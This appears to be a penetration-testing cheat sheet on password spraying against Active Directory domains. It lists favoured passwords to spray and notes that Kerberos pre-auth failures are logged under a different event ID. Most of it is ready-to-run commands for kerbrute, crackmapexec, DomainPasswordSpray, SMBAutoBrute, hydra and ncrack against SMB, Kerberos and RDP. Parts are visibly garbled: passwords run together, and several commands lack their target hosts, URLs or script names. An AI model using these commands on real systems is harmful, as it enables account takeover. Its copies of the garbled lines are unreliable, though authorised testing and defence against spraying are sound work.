PenTest – Password – Spraying

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.

The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.

Most of the time the best passwords to spray are :

  • P@ssw0rd01Password123Password1Hello123mimikatz
  • Welcome1/Welcome01
  • $Companyname1 :$Microsoft1
  • SeasonYear : Winter2019*Spring2020!Summer2018?Summer2020July2020!
  • Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
  • Empty Password (Hash:31d6cfe0d16ae931b73c59d7e0c089c0)

Kerberos pre-auth bruteforcing

Using kerbrute, a tool to perform Kerberos pre-auth bruteforcing.

Kerberos pre-authentication errors are not logged in Active Directory with a normal Logon failure event (4625), but rather with specific logs to Kerberos pre-authentication failure (4771).

  • Username bruteforce
    root@kali:~$ ./kerbrute_linux_amd64 userenum -d domain.local --dc usernames.txt
  • Password bruteforce
    root@kali:~$ ./kerbrute_linux_amd64 bruteuser -d domain.local --dc rockyou.txt username
  • Password spray
    root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc domain_users.txt Password123
    root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc domain_users.txt rockyou.txt
    root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d domain.local --dc domain_users.txt '123456' -v --delay 100 -o kerbrute-passwordspray-123456.log

Spray a pre-generated passwords list

  • Using crackmapexec and mp64 to generate passwords and spray them against SMB services on the network.
    crackmapexec smb -u Administrator -p `(./mp64.bin Pass@wor?l?a)`
  • Using DomainPasswordSpray to spray a password against all users of a domain.
    Invoke-DomainPasswordSpray -Password Summer2021!
    # /!\ be careful with the account lockout !
    Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt
  • Using SMBAutoBrute.
    Invoke-SMBAutoBrute -UserList "C:\ProgramData\admins.txt" -PasswordList "Password1, Welcome1, 1qazXDR%+" -LockoutThreshold 5 -ShowVerbose

Spray passwords against the RDP service

  • Using RDPassSpray to target RDP services.
    git clone
    python3 -u [USERNAME] -p [PASSWORD] -d [DOMAIN] -t [TARGET IP]
  • Using hydra and ncrack to target RDP services.
    hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://
    ncrack connection-limit 1 -vv --user administrator -P password-file.txt rdp://

BadPwdCount attribute

The number of times the user tried to log on to the account using an incorrect password. A value of 0 indicates that the value is unknown.

$ crackmapexec ldap -u 'username' -p 'password' --kdcHost --users
LDAP       389    dc01       Guest      badpwdcount: 0 pwdLastSet: <never>
LDAP       389    dc01       krbtgt     badpwdcount: 0 pwdLastSet: <never>

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